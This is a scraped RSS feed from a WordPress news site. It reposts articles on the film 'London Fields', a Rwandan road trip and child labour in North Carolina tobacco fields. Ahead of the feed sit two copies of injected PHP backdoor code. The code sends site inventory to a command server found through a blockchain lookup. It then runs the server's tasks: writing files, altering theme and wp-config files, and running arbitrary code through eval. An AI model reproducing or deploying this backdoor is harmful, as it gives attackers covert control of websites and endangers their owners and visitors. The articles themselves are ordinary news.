// q2_xh if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php', 'ctrl'=>'// q2_xh', 'vis'=>'// xp_v9', 'vis_func'=>'wp_dia8xd', 'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'), 'opt'=>'_wp_47nl0jvi', ); $keys=array(); $keys['id']='kun'; $keys['ver']='em'; $keys['caps']='eby'; $keys['tasks']='awd'; $keys['interval']='pww'; $keys['ack_id']='nl0'; $keys['ok']='9s'; $keys['detail']='wyy'; $keys['inv']='kxw'; $keys['result']='f3t'; $hdr='X-J98-Auth';$tok='0cQMbCeRLTCSW0NdninnOEVrAtwy11ErS16wrKLqeas';$id='1d0c923bac57072b';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; $ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}} $r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw); $wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false); if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));} $r['wpconfig_inject']=$wpc; $cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc'; if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache'; if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status')); return $r;} function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){ $_ok=false;$_detail='';$_result=null; $_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0; if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){ $_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):''; if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); // l0_9z if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php', 'ctrl'=>'// l0_9z', 'vis'=>'// zn_yn', 'vis_func'=>'wp_cuzg8t', 'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'), 'opt'=>'_wp_mtrhds4x', ); $keys=array(); $keys['id']='ybc'; $keys['ver']='a1'; $keys['caps']='afo'; $keys['tasks']='x9t'; $keys['interval']='2e4'; $keys['ack_id']='k72'; $keys['ok']='ch'; $keys['detail']='xd9'; $keys['inv']='hw8'; $keys['result']='0bb'; $hdr='X-L8A-Auth';$tok='A3-EVnA_qOJ132k0gQIT_73RgM-QQ5Szxw145ZNDetU';$id='d1451f9eb0097c9f';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; $ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}} $r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw); $wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false); if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));} $r['wpconfig_inject']=$wpc; $cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc'; if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache'; if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status')); return $r;} function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){ $_ok=false;$_detail='';$_result=null; $_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0; if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){ $_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):''; if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); fields – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Wed, 31 Oct 2018 19:47:47 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.8 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png fields – Brief News https://briefnews.eu 32 32 ‘London Fields’ Director Admits His Movie Deserved to Bomb https://briefnews.eu/london-fields-director-admits-his-movie-deserved-to-bomb/ https://briefnews.eu/london-fields-director-admits-his-movie-deserved-to-bomb/#respond Wed, 31 Oct 2018 19:47:47 +0000 http://briefnews.eu/london-fields-director-admits-his-movie-deserved-to-bomb/ London Fields

If you read that headline and thought, “Wait, London Fields was adapted into a movie?”, you’re not the only one. A film version starring Billy Bob Thornton, Amber Heard, and Jim Sturgess was released in theaters this past weekend, made only $ 168,575, and received a rare 0% score on Rotten Tomatoes. That puts it in the not-so-esteemed company of movies like Gotti, The Ridiculous 6, Bucky Larson: Born to Be a Star, and Superbabies: Baby Geniuses 2.

But here’s the thing: while many directors would take umbrage at such a critical pummeling, London Fields director Mathew Cullen admits that he’s read the reviews and he agrees with them. Read more about the notoriously troubled production below.

“I’ve read the reviews. I agree with them,” Cullen told The Hollywood Reporter in a piece that details the problems the film experienced over the years. Filmed back in 2013 and mired in legal battles ever since, London Fields was originally going to be directed by David Cronenberg (and later, Michael Winterbottom) before Cullen came on board. The movie is based on Martin Amis‘ beloved 1989 novel. Here’s the red band trailer from the movie’s distributor, a company I’ve never heard of called GVN Releasing:

“There’s a reason why they said that Amis’ book was unadaptable,” Cullen said, pointing to the difficultly of translating the tone of the whodunit murder mystery novel. You can read all of the details over at THR, but creative visions clashed and lawsuits were filed. Star Amber Heard was sued for $ 10 million for “allegedly breaching performance and promotional obligations,” but she countersued, saying that “racy scenes with a body double had exploited her sexually” and that the producer’s cut of the movie violated the nudity rider in her contract.

Strangely, there is a producer’s cut and a director’s cut playing separately in theaters right now. The producer’s cut was savaged by critics oversees when it played in Russia, but that didn’t stop the producers from screening that version to more critics and making it the default version that’s getting the wider release here in the U.S. Cullen eventually worked out a deal to get his own cut of the movie to play in a few select theaters, but I can’t imagine anyone selling tickets at theaters would know which cut they were showing.

Here’s more:

Cullen consciously chose to get murdered by critics. Now considering retiring from feature films, he says, “Under DGA rules, I could have used a pseudonym, but in that process, I wouldn’t ever be allowed to talk about the film again and I wouldn’t have had the ability to release my version of the film.”

Sounds like a nightmare, and it’s easy to understand why Cullen, a music video director who made his feature directorial debut with London Fields, would be so put off by the experience that he’s thinking about abandoning features altogether.

London Fields is still playing in a few theaters in the country, should you be curious enough to want to seek it out.

The post ‘London Fields’ Director Admits His Movie Deserved to Bomb appeared first on /Film.

]]> https://briefnews.eu/london-fields-director-admits-his-movie-deserved-to-bomb/feed/ 0 Take a Spectacular Drive Through Rwanda's Tea Fields https://briefnews.eu/take-a-spectacular-drive-through-rwandas-tea-fields/ https://briefnews.eu/take-a-spectacular-drive-through-rwandas-tea-fields/#respond Tue, 24 Jul 2018 04:39:29 +0000 http://briefnews.eu/take-a-spectacular-drive-through-rwandas-tea-fields/ Rwanda’s sprawling tea fields are a particular shade of green. Not exactly emerald, a hair lighter than jade, but still green. Tea green. The Kivu Belt road, situated between the towns of Gisenyi and Cyangugu, stretches 190 kilometers through the iridescent plantations as well as other terraced farmlands, making for a spectacular drive along sparkling Lake Kivu.

Starting in the northwest Rubavu district and finishing in the southern Rusizi district, the Kivu Belt road takes approximately five hours to drive. One of Rwanda’s secret road trip gems, the road was paved only in late 2015, saving about 10 hours of travel between the districts. It’s a development that Belise Kariza, chief tourism officer at the Rwanda Development Board, believes will encourage tourism to Lake Kivu, which she calls “literally a paradise on earth.”

Guestroom at cormoran lodge in kibuye

Though the drive can now be completed in a day, travelers with more time should split up the trip into a few days, making sure to spend time in the charming towns along the way. Starting in the north, wind your way through Gisenyi, with a view of the striking Virunga volcanoes. This bustling beachside town is home to variety of bars, restaurants and public beaches. Calafia Café offers salads, sandwiches and fresh smoothies, and drinking a cold Skol lager at the lakeside Tam-Tam bar is the best way to watch the sun go down. Nat Hollands, one of Calafia Café’s co-owners, credits the paved road with attracting more tourists to the area.

The drive to Kibuye, the road trip’s midpoint, sees the color of the earth change from volcanic black to a rusty red.

Next, drive out of town and along the palm-tree-lined boulevard parallel to the beach. Here you might share the road with bicyclists loaded up with firewood and steel canisters of milk, as well as packed passenger buses speeding around the winding turns. On a clear day, the last glimpse of Gisenyi provides views of the smoking Nyiragongo volcano and the expansive city of Goma in the Democratic Republic of Congo.

The drive to Kibuye, the road trip’s midpoint, sees the color of the earth change from volcanic black to a rusty red. The weather gets better the further south you go, as the mountainous effect from the north slowly ebbs away. Possibly Rwanda’s most picturesque town, Kibuye greets visitors with sweeping views of lush islands surrounded by water that turns a light turquoise in the sunlight. Chirping birds set the soundtrack to a slow afternoon lunch at Cormoran Lodge, where day-trippers and overnight guests alike gather to play Scrabble on the wooden porch or gaze at the glittering lakefront.

Nightfishermen

From Kibuye, it’s approximately another two and a half hours to Cyangugu, capital of the Rusizi district. The road passes the turnoff for Nyungwe National Park and Gishwati Forest, curving around lakeside inlets and lagoons.

As you drive through Nyamasheke, you’ll see schoolchildren running alongside the road in the late afternoon, with motorcycles and buses slowing down to avoid them. Stop at a local bar along the way to dig into samosas, meat brochettes and grilled potatoes, with the food accompanied by some classic Celine Dion (a Rwandan favorite).

Kivu belt road between nyamasheke and cyangugu

This is where Rwandan daily life occurs — the Kivu Belt meanders through plenty of towns, sectors, districts and a whole host of climates. Schools are located every few kilometers, as are restaurants, bars and colorful markets. Though parts of the road can feel isolated, you’re never alone for too long.

After passing banana plantations at every turn, finish the trip at Emeraude Lodge in the town of Cyangugu. Brush the red dust from your hair and settle in for some good people-watching with a mug of green tea. Resist the urge to turn right back around and do the drive once more.

Go There: The Drive Along Lake Kivu

Road-trippers should consider spending the night in Kibuye, Cyangugu and Gisenyi. For those with more time, check out the Rutsiro district.

Where to Stay:

  • Palm Garden Lodge (Gisenyi): A lakefront lodge with lovely interiors.
  • Rushel Kivu Lodge (Kinunu): Take a boat ride or try the brochettes.
  • Cormoran Lodge (Kibuye): A lakefront lodge with gorgeous wooden treehouse rooms. Kayak trips and boat rides are available.
  • Emeraude Lodge (Cyangugu): A lakefront lodge with beach access via a steep hill.

Where to Eat:

  • Calafia Café (Gisenyi): California vibes, cute art, great (and healthful) food for good prices.
  • Tam-Tam Bar (Gisenyi): Classic Rwandan lakeside bar, packed with locals on the weekends. Good for brochettes and cold beer.
  • Cormoran Lodge (Kibuye): Pizzas, burgers and fish brochettes, plus French-influenced dishes.
  • Emeraude Lodge (Cyangugu): Go for the grilled meat. Also serves pasta and sandwiches.

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]]> https://briefnews.eu/take-a-spectacular-drive-through-rwandas-tea-fields/feed/ 0 The Overlooked Children Working America’s Tobacco Fields https://briefnews.eu/the-overlooked-children-working-americas-tobacco-fields/ https://briefnews.eu/the-overlooked-children-working-americas-tobacco-fields/#respond Sat, 23 Jun 2018 04:55:02 +0000 http://briefnews.eu/the-overlooked-children-working-americas-tobacco-fields/ KINSTON, North Carolina—They would wake up at five or six in the morning. They didn’t know where they were going, but they knew how far it was, what time the day had to start. Yesenia Cuello’s mother would fix breakfast, or if the girls were up early they would do it themselves to help her out. Then the preparations for the day would start. Burritos, in the microwave, wrapped in napkins, wrapped in foil. The perfect food for working tobacco: You can eat it with one hand, no need for the break you won’t get anyway. Gloves, the trash bags, hats, water. Then the white van would pull up outside the trailer where they lived, and they would jump in, ready for a long day of work.

When Yesenia and her sisters told their mother they wanted to work with her back in 2005, her mom said no at first. A single mother who had just moved her four kids from California, she was determined to keep her young girls out of the fields. But the girls, who were out of school for the summer, knew money was tight. Around the trailer park, people called them chicas poderosas, “powerful girls”: When they stuck together they could get what they wanted. And so their mother relented, thinking the girls would never be able to survive the day anyway. Yesenia, who was 12 at the time, as well as her two sisters who were 10 and 11, began to work tobacco.

They had intended to use the money for kid stuff, school supplies at the local Walmart, and clothes from the flea market. When they got out there with their mother and saw how hard it was, they knew they had to keep going back. “The first day was sunup to sundown,” Yesenia told me. She now works with NC FIELD, a migrant-worker service organization, running a group for farmworker kids. “Because of that we continued to go in order to help her out. We did realize that it was really hard and she was there without us.” They gave her money to help pay the bills, keeping a small amount for themselves.

Although today tobacco picking is done by machine, much of the rest of the production is done by hand. Workers line up row by row and rapidly move down the lines of plants, topping (taking off the buds and flowers), suckering (taking off the “suckers,” or unwanted shoots), and lifting up the plants to pull out the weeds at the bottom. Yesenia says her back still bothers her though she hasn’t worked tobacco in eight years, all that bending over and standing for 12 hour days on uneven ground. She’s tall—almost six feet—but sometimes the plants were so high that she lost track of her mom, who worked faster. Her mom would wait and they would do the next one together, sticking with each other and checking in throughout the day. “We were fortunate to be able to have her there with us,” Yesenia told me. “What you see a whole lot is unaccompanied youth.”

